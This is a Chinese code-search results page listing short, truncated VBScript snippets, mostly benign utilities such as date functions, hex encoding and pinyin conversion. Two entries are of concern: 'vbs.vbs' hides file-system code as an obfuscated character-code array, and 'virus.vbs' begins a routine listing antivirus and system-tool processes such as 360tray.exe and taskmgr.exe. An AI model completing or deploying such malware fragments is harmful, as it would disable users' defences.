代码搜索：VBS
找到约 2,539 项符合「VBS」的源代码
代码结果 2,539
www.eeworm.com/read/467568/7005485
vbs vbs.vbs
strs=array(13,83,101,116,32,111,98,106,70,83,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,3
www.eeworm.com/read/448425/1690120
vbs vbs_date.vbs
Function FGetDay(dt,w)
basew=weekday(dt)
if w=basew then
FGetDay=dt
exit function
else
FGetDay=dt+w-baseW
end if
end function
Function GetDate(d,t)
m=c
www.eeworm.com/read/465551/7049685
vbs 加密.vbs
BinaryCode = Array("0000","0001","0010","0011","0100","0101","0110","0111","1000","1001","1010","1011","1100","1101","1110","1111")
HexCode = Array("0","1","2","3","4","5","6","7","8","9","A","B","C"
www.eeworm.com/read/465554/7049692
vbs 解密.vbs
BinaryCode = Array("0000","0001","0010","0011","0100","0101","0110","0111","1000","1001","1010","1011","1100","1101","1110","1111")
HexCode = Array("0","1","2","3","4","5","6","7","8","9","A","B","C"
www.eeworm.com/read/276432/10737818
vbs 汉字转拼音vbs版.vbs
'备注：汉字转拼音vbs版
'防止出现错误
On Error Resume Next
'vbs代码开始----------------------------------------------
Set d = createObject("Scripting.Dictionary")
d.add "a",-20319
d.add "ai",-20317
d.add "an",
www.eeworm.com/read/432849/8568540
vbs changeownerorg.vbs
'ChgOwnOrg.vbs - Change Win9x Registered Owner/Organization.
'
www.eeworm.com/read/432849/8568543
vbs showhiddenexts.vbs
On Error Resume Next
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegDelete "HKCR\lnkfile\NeverShowExt"
WshShell.RegDelete "HKCR\DocShortcut\NeverShowExt"
WshShell.RegDelete "HKCR
www.eeworm.com/read/287171/8713329
vbs virus.vbs
'jk4
'WNXCBDYNEYIEB1_5
Sub MonitorSystem(objfso, vbsCode)
On Error Resume Next
Dim ProcessNames
ProcessNames = Array("ras.exe", "360tray.exe", "taskmgr.exe", "cmd.exe", "cmd.com",